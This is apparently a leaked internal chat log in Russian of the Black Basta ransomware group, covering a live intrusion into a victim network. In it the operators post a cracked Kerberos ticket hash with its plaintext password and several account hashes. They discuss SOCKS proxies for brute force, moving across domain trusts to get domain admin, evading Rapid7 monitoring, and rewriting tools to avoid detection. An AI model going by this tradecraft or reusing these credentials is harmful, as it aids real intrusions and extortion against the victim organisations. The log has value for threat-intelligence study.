@nickolas:talks.icu
главное не начинать никаких чатов, чаты в тимсе залупа полная
2024-05-23 09:43:18
@nickolas:talks.icu
там такие надписи шлют в чатах))
2024-05-23 09:44:18
@lapa:matrix.bestflowers247.online
> <@usernamegg:matrix.bestflowers247.online> ssh
2024-05-23 09:44:24
@lapa:matrix.bestflowers247.online
не могу там ноды никак поднять
2024-05-23 09:45:27
@lapa:matrix.bestflowers247.online
но могу без тор соксов
2024-05-23 09:45:33
@usernameboy:matrix.bestflowers247.online
$krb5tgs$23$*phersey$VSC.COM$vsc.co...d98b:Guillory5!
2024-05-23 09:45:35
@lapa:matrix.bestflowers247.online
только вот где взять такие соксы, чтобы потом не локнули
2024-05-23 09:45:37
@lapa:matrix.bestflowers247.online
из-за брута
2024-05-23 09:45:46
@usernamess:matrix.bestflowers247.online
++
2024-05-23 09:45:48
Black Basta
дак он абузоустойчивый
2024-05-23 09:45:52
Black Basta
мы за него кучу бабок отдаем
2024-05-23 09:46:04
Black Basta
я просил под брут прямо
2024-05-23 09:46:16
@lapa:matrix.bestflowers247.online
ну все же)
2024-05-23 09:46:22
@lapa:matrix.bestflowers247.online
вдруг потом скажет переезжать
2024-05-23 09:46:48
@lapa:matrix.bestflowers247.online
ладно, сделаю без соксов
2024-05-23 09:46:50
@lapa:matrix.bestflowers247.online
посмотрим
2024-05-23 09:46:55
@lapa:matrix.bestflowers247.online
жду еще айпишнки впнок
2024-05-23 09:55:38
@nickolas:talks.icu
пиздец
2024-05-23 09:55:42
@nickolas:talks.icu
вас спалили
2024-05-23 09:56:15
@nickolas:talks.icu
убили нахуй учетку
2024-05-23 09:56:21
@nickolas:talks.icu
хотя сейчас ночь
2024-05-23 09:57:35
Black Basta
ага
2024-05-23 09:57:38
Black Basta
но он не собирает еще
2024-05-23 09:57:44
Black Basta
могу скинуть все линки которые он давал
2024-05-23 09:57:48
Black Basta
там еще качается
2024-05-23 09:58:51
@usernamess:matrix.bestflowers247.online
сокс работает?
2024-05-23 09:59:03
Black Basta
странно
2024-05-23 09:59:03
@usernamess:matrix.bestflowers247.online
* сокс не работает
2024-05-23 09:59:06
Black Basta
все
2024-05-23 09:59:09
Black Basta
убили учетку
2024-05-23 09:59:11
Black Basta
спалили нах
2024-05-23 09:59:14
Black Basta
что делал ?)
2024-05-23 09:59:19
Black Basta
сокс умер
2024-05-23 09:59:33
@usernamess:matrix.bestflowers247.online
скнил расшифрованных юзеров на админа
2024-05-23 09:59:55
@nickolas:talks.icu
да какой сокс )
2024-05-23 10:00:02
@usernamess:matrix.bestflowers247.online
зашел в лдап чтоб доменных запросить и выписывать серт на доменного админа другого траста
2024-05-23 10:00:02
@nickolas:talks.icu
учетку блокнули, впн залочили
2024-05-23 10:00:18
@lapa:matrix.bestflowers247.online
ок, давайте
2024-05-23 10:00:34
@nickolas:talks.icu
сокс это только между нами с тобой )
2024-05-23 10:03:30
@nickolas:talks.icu
я так понимаю ты делал атаки на дц ?)
2024-05-23 10:04:01
Black Basta
скнил расшифрованных юзеров на админа
2024-05-23 10:04:22
Black Basta
не успел ничего сделать с дц
2024-05-23 10:04:25
Black Basta
блять
2024-05-23 10:04:28
Black Basta
ну что за
2024-05-23 10:04:42
@nickolas:talks.icu
вполне может быть что ипакет палится или nxc
2024-05-23 10:04:46
@nickolas:talks.icu
по сетевой активности
2024-05-23 10:06:08
@nickolas:talks.icu
у нас сессия всю ночь висела, все было хорошо, как начали активность, так сразу пиздюль прилетел
2024-05-23 10:06:55
Black Basta
вполне может быть что ипакет палится или nxc
2024-05-23 10:07:18
@nickolas:talks.icu
такие все сети затыканы разными сенсорами, только сделай что то из известных инструментов, сразу все )
2024-05-23 10:07:20
@usernamess:matrix.bestflowers247.online
так может сессия кончилась?
2024-05-23 10:07:43
Black Basta
так может сессия кончилась?
2024-05-23 10:07:47
Black Basta
попробуй переподключить
2024-05-23 10:07:50
@nickolas:talks.icu
акк умер!!!
2024-05-23 10:07:57
@usernamess:matrix.bestflowers247.online
пусть дадут доступ в впн
2024-05-23 10:07:57
@nickolas:talks.icu
я сразу же попробовал переподключиться
2024-05-23 10:08:07
@nickolas:talks.icu
креды залочили!
2024-05-23 10:08:11
Black Basta
акк умер!
2024-05-23 10:08:15
@nickolas:talks.icu
по этому коннект и обрубился и больше не подключается
2024-05-23 10:08:18
Black Basta
креды залочили!
2024-05-23 10:09:03
@nickolas:talks.icu
сейчас в сша 6 утра, холдер точно спит, со вчера сессия жила
2024-05-23 10:09:07
Black Basta
ну что я могу сказать такие все сети затыканы разными сенсорами
2024-05-23 10:09:26
Black Basta
только сделай что то из известных инструментов сразу все пизда всему (((
2024-05-23 10:10:08
@usernamess:matrix.bestflowers247.online
там вход какой?
2024-05-23 10:10:21
@usernamess:matrix.bestflowers247.online
```
2024-05-23 10:10:25
Black Basta
> <@usernamegg:matrix.bestflowers247.online> акк умер!
2024-05-23 10:10:39
@usernamess:matrix.bestflowers247.online
вот креды, но с другого траста
2024-05-23 10:10:41
Black Basta
там вход какой?
2024-05-23 10:11:25
@nickolas:talks.icu
это видимо не мне ?)
2024-05-23 10:11:30
@usernamess:matrix.bestflowers247.online
так там наверное кербы спалили. другое никак. ну и соотвественно там ав стоял нормальный который это мониторил
2024-05-23 10:12:43
@nickolas:talks.icu
image.png
2024-05-23 10:12:49
@nickolas:talks.icu
вот такой там вход
2024-05-23 10:13:24
@nickolas:talks.icu
я без своего 2фа на акке мс ничего сделать не смогу
2024-05-23 10:14:11
@usernamess:matrix.bestflowers247.online
они и эти креды заблочили
2024-05-23 10:15:52
Black Basta
тебе
2024-05-23 10:15:58
Black Basta
вот креды, но с другого траста вытащить успел
2024-05-23 10:16:12
@nickolas:talks.icu
не, там нету входа по кредам (
2024-05-23 10:16:15
@nickolas:talks.icu
везде 2фа
2024-05-23 10:16:40
@nickolas:talks.icu
корчое ))))))
2024-05-23 10:16:47
@nickolas:talks.icu
я вернул доступ =)
2024-05-23 10:16:54
@nickolas:talks.icu
ложная тревога )
2024-05-23 10:16:57
@nickolas:talks.icu
пиздец
2024-05-23 10:17:03
Black Basta
что было ?
2024-05-23 10:17:07
Black Basta
ложная тревога )
2024-05-23 10:17:09
Black Basta
вернули доступ
2024-05-23 10:17:09
@nickolas:talks.icu
да хуйня какая то была
2024-05-23 10:17:17
Black Basta
какая ?
2024-05-23 10:17:21
@usernamess:matrix.bestflowers247.online
щас сетке пиздец если это так)
2024-05-23 10:17:27
@nickolas:talks.icu
я по куке залетел щас
2024-05-23 10:17:32
@nickolas:talks.icu
давай потом
2024-05-23 10:17:35
@usernamess:matrix.bestflowers247.online
сокс работает?
2024-05-23 10:17:37
@nickolas:talks.icu
щас сделаю сокс с другого рдп
2024-05-23 10:17:40
@nickolas:talks.icu
давай на другой порт
2024-05-23 10:17:49
@nickolas:talks.icu
но торопитесь, вероятно уже шухер может быть
2024-05-23 10:18:22
Black Basta
_+
2024-05-23 10:18:35
Black Basta
ок
2024-05-23 10:18:52
Black Basta
> <@usernamess:matrix.bestflowers247.online> щас сетке пиздец если это так)
2024-05-23 10:18:58
Black Basta
сейчас с другого рдп будет другой порт
2024-05-23 10:19:00
Black Basta
сек
2024-05-23 10:19:05
Black Basta
они по куке подняли
2024-05-23 10:19:37
@usernamess:matrix.bestflowers247.online
если креды челов с другого траста не локнули я щас получу доменного
2024-05-23 10:19:46
@usernamess:matrix.bestflowers247.online
но будет чтоять вопрос об ав)
2024-05-23 10:20:17
@nickolas:talks.icu
погнали
2024-05-23 10:20:22
@usernameyy:matrix.bestflowers247.online
отошел поговорить с подрядчиком, не теряйте)
2024-05-23 10:20:24
Black Basta
погнали
2024-05-23 10:20:25
@nickolas:talks.icu
127.0.0.1:6506
2024-05-23 10:20:29
Black Basta
127.0.0.1:6506
2024-05-23 10:20:36
Black Basta
не очкуй
2024-05-23 10:20:39
Black Basta
все будет круто
2024-05-23 10:20:45
@nickolas:talks.icu
я уже так расстроился пиздец просто (((
2024-05-23 10:20:53
Black Basta
++
2024-05-23 10:20:56
Black Basta
все будет норм
2024-05-23 10:21:29
@usernamess:matrix.bestflowers247.online
все получил)
2024-05-23 10:21:44
@usernamess:matrix.bestflowers247.online
5a59543ad590773eec837d22a2007247
2024-05-23 10:21:49
Black Basta
++
2024-05-23 10:21:53
Black Basta
все получил
2024-05-23 10:21:55
Black Basta
работаем
2024-05-23 10:23:19
@usernamess:matrix.bestflowers247.online
2cf20d1d480ddff3677d8884b70e6401
2024-05-23 10:24:30
@nickolas:talks.icu
выбило с впна из за нас дураков )
2024-05-23 10:24:44
@nickolas:talks.icu
сорри, я тут уже на панике был )
2024-05-23 10:25:10
@nickolas:talks.icu
и помощник дуралей вводил не тот пароль )
2024-05-23 10:25:43
@nickolas:talks.icu
в итоге сессию перенесли в другой рдп, вроде получилось зайти.
2024-05-23 10:29:53
@usernamess:matrix.bestflowers247.online
rapid7_events_monitor.exe
2024-05-23 10:36:09
Black Basta
++
2024-05-23 10:43:57
Black Basta
?
2024-05-23 10:47:14
@usernamess:matrix.bestflowers247.online
там везде стоит
2024-05-23 10:47:28
@usernamess:matrix.bestflowers247.online
то же самое что на той сетке про которую нельзя говорить
2024-05-23 10:47:52
Black Basta
++
2024-05-23 10:49:07
Black Basta
rapid7_events_monitor.exe
2024-05-23 10:49:20
Black Basta
там стоит все тоже самое что и на сетке про которую я не хочу говорить )
2024-05-23 10:49:39
Black Basta
rapid7 только нужно идти на те тачки на которых его нет
2024-05-23 10:49:44
Black Basta
а то будет все
2024-05-23 10:49:46
Black Basta
конечная
2024-05-23 10:54:50
Black Basta
весь интернет говорит о ней а нам нельзя )
2024-05-23 10:57:06
@usernamess:matrix.bestflowers247.online
> <@usernamegg:matrix.bestflowers247.online> rapid7 только нужно идти на те тачки на которых его нет
2024-05-23 10:57:15
@usernamess:matrix.bestflowers247.online
> <@usernamegg:matrix.bestflowers247.online> весь интернет говорит о ней а нам нельзя )
2024-05-23 10:59:03
@usernamess:matrix.bestflowers247.online
а как дела по ней?)
2024-05-23 10:59:37
Black Basta
> <@usernamess:matrix.bestflowers247.online> а как дела по ней?)
2024-05-23 11:02:12
@nickolas:talks.icu
тогда у вас мало времени
2024-05-23 11:03:48
@nickolas:talks.icu
я бы сейчас сильно не шумел!
2024-05-23 11:04:13
@nickolas:talks.icu
сделал максимально аккуратные движения, и потом уже бы с 2 ночи сегодня и до утра выеб ее
2024-05-23 11:04:44
@nickolas:talks.icu
ну а рапида, ну слушай, это БАЗА =)
2024-05-23 11:05:13
@nickolas:talks.icu
кто не умеет работать с рапидой, тот лочит стоматологии ))))
2024-05-23 11:05:19
@nickolas:talks.icu
2024 год =)
2024-05-23 11:06:15
@nickolas:talks.icu
rapid7_events_monitor.exe === на самом деле это говорит о том, что у вас мало времени будет. Обратный отсчет тик так ))
2024-05-23 11:10:55
@nickolas:talks.icu
это же просто очень расширенный мониторинг, у вас есть на стенде рапида, тестируйте инструменты и техники все свои
2024-05-23 11:11:06
@nickolas:talks.icu
и вы сможете уклониться от большенства алертов
2024-05-23 11:11:07
@usernamess:matrix.bestflowers247.online
652befb7962c8d69bc4c4716294801f4
2024-05-23 11:14:03
@nickolas:talks.icu
такс
2024-05-23 11:14:17
@nickolas:talks.icu
мне щас нужно будет выключить комп, а когда я отключаю рдп, может быть дисконнект
2024-05-23 11:14:20
@nickolas:talks.icu
давай проверим
2024-05-23 11:17:49
@lapa:matrix.bestflowers247.online
офнусь пока. в тг еще написал почему отойду
2024-05-23 11:21:32
Black Basta
погоди
2024-05-23 11:21:38
Black Basta
++
2024-05-23 11:22:59
@usernamess:matrix.bestflowers247.online
там доменной не везде имеет права на вход, из 139 серверов он только на 39 может зайти. на остальные ограничен вход настройкой в AD
2024-05-23 11:23:16
@nickolas:talks.icu
мне реально надо закрыть
2024-05-23 11:23:19
@nickolas:talks.icu
давай прямо щас тест
2024-05-23 11:23:32
@nickolas:talks.icu
просто проверим, если все ок, то все ок и будет
2024-05-23 11:23:50
@nickolas:talks.icu
я закрыл, проверь коннект
2024-05-23 11:23:57
@nickolas:talks.icu
ну в любом случае я буду через 5-7 минуток
2024-05-23 11:27:24
@usernameyy:matrix.bestflowers247.online
на месте
2024-05-23 11:27:32
@usernamess:matrix.bestflowers247.online
сокс отехал?
2024-05-23 11:27:38
@usernamess:matrix.bestflowers247.online
* сокс отъехал?
2024-05-23 11:32:49
Black Basta
сделал?
2024-05-23 11:32:49
Black Basta
сейчас
2024-05-23 11:36:41
Black Basta
нет конекта
2024-05-23 11:36:45
Black Basta
нет конекта ?
2024-05-23 11:37:25
@usernamess:matrix.bestflowers247.online
nea
2024-05-23 11:40:34
@usernamess:matrix.bestflowers247.online
9d260af669dc57f483414e0367510e95
2024-05-23 11:41:26
Black Basta
молчит пока
2024-05-23 11:41:26
@usernamess:matrix.bestflowers247.online
```
2024-05-23 11:41:32
Black Basta
он там рдп перезагрузил
2024-05-23 11:41:36
Black Basta
ждем его
2024-05-23 11:41:51
Black Basta
++
2024-05-23 11:41:58
@nickolas:talks.icu
щас
2024-05-23 11:43:26
@nickolas:talks.icu
возобновилась сессия
2024-05-23 11:44:20
Black Basta
++
2024-05-23 11:44:33
@nickolas:talks.icu
тупое рдп, падает сессия, когда коннект обрывается
2024-05-23 11:44:35
Black Basta
щас
2024-05-23 11:44:49
@usernamess:matrix.bestflowers247.online
ok
2024-05-23 11:45:18
Black Basta
кто там перезагрузил рдп у тебя?
2024-05-23 11:45:25
@nickolas:talks.icu
никто не перезагружал
2024-05-23 11:45:32
@nickolas:talks.icu
я просто отключился от него, и коннект упал
2024-05-23 11:45:36
@nickolas:talks.icu
я же говорю, что тупое рдп
2024-05-23 11:45:44
@nickolas:talks.icu
а мне надо было перезагрузить свою тачку
2024-05-23 11:46:29
Black Basta
ебать не вовремя
2024-05-23 11:47:56
Black Basta
?
2024-05-23 11:48:06
@nickolas:talks.icu
что ?
2024-05-23 11:48:18
Black Basta
востановите ссесию
2024-05-23 11:48:23
@nickolas:talks.icu
я восстановил уже
2024-05-23 11:48:30
Black Basta
все
2024-05-23 11:48:32
Black Basta
пробуй
2024-05-23 11:48:35
Black Basta
++
2024-05-23 11:48:37
@nickolas:talks.icu
image.png
2024-05-23 11:48:42
@nickolas:talks.icu
проверь коннект
2024-05-23 11:48:46
Black Basta
востановил ссесию
2024-05-23 11:49:28
Black Basta
++
2024-05-23 11:56:11
@usernamess:matrix.bestflowers247.online
да там пизда
2024-05-23 11:56:16
@usernamess:matrix.bestflowers247.online
тачку уже пильнули
2024-05-23 11:57:56
Black Basta
rapid7 ?
2024-05-23 11:58:07
@usernamess:matrix.bestflowers247.online
ну видимо алерт улетел
2024-05-23 11:58:13
@usernamess:matrix.bestflowers247.online
> <@usernamess:matrix.bestflowers247.online> там доменной не везде имеет права на вход, из 139 серверов он только на 39 может зайти. на остальные ограничен вход настройкой в AD
2024-05-23 12:13:42
@usernamess:matrix.bestflowers247.online
для понимания и передай им. я даже бх снять не могу на тачке под кредами валидными пишет что я не в домене
2024-05-23 12:13:56
@usernamess:matrix.bestflowers247.online
хотя я в домене и читаю дц
2024-05-23 12:14:06
@usernamess:matrix.bestflowers247.online
* хотя я в домене и читаю дц и хостнэйму и по IP
2024-05-23 12:24:09
Black Basta
я закрепился
2024-05-23 12:24:14
Black Basta
но там уже меняют пароли
2024-05-23 12:24:44
@nickolas:talks.icu
нде.
2024-05-23 12:25:07
Black Basta
лдап под домнный из айти группы не могу зайти
2024-05-23 12:25:11
Black Basta
там жесткие ребята
2024-05-23 12:25:33
@nickolas:talks.icu
ну блин )
2024-05-23 12:25:38
@nickolas:talks.icu
а где тебя выпалили ?
2024-05-23 12:25:46
@nickolas:talks.icu
у нас все жесткие ребята идут
2024-05-23 12:27:52
Black Basta
короче я думаю всех распускать не на определнный срок
2024-05-23 12:27:57
Black Basta
нету смысла так работать
2024-05-23 12:27:59
Black Basta
rapid7
2024-05-23 12:28:02
Black Basta
сейчас сетка
2024-05-23 12:28:07
Black Basta
уебала все
2024-05-23 12:28:15
Black Basta
лочат креды
2024-05-23 12:28:28
Black Basta
все инструменты палит наши
2024-05-23 12:28:32
Black Basta
все движения палит
2024-05-23 12:28:40
Black Basta
все переписывать надо на другом языке что бы работало
2024-05-23 12:28:53
Black Basta
оставлю двоих человек
2024-05-23 12:29:07
Black Basta
тебе надо сесть все на питоп переписать
2024-05-23 12:29:09
Black Basta
все что ты делал
2024-05-23 12:29:12
Black Basta
для них
2024-05-23 12:29:17
Black Basta
$$ просит
2024-05-23 12:29:24
Black Basta
нету смысла говорит все это юзать
2024-05-23 12:29:32
Black Basta
его сейчас выпнули с сетки крутой
2024-05-23 12:29:32
@usernameyy:matrix.bestflowers247.online
питон на сетке не запустишь же, его только на линукс машине
2024-05-23 12:29:35
Black Basta
rapid7
2024-05-23 12:29:39
Black Basta
его полностью считала
2024-05-23 12:29:44
Black Basta
на линуксе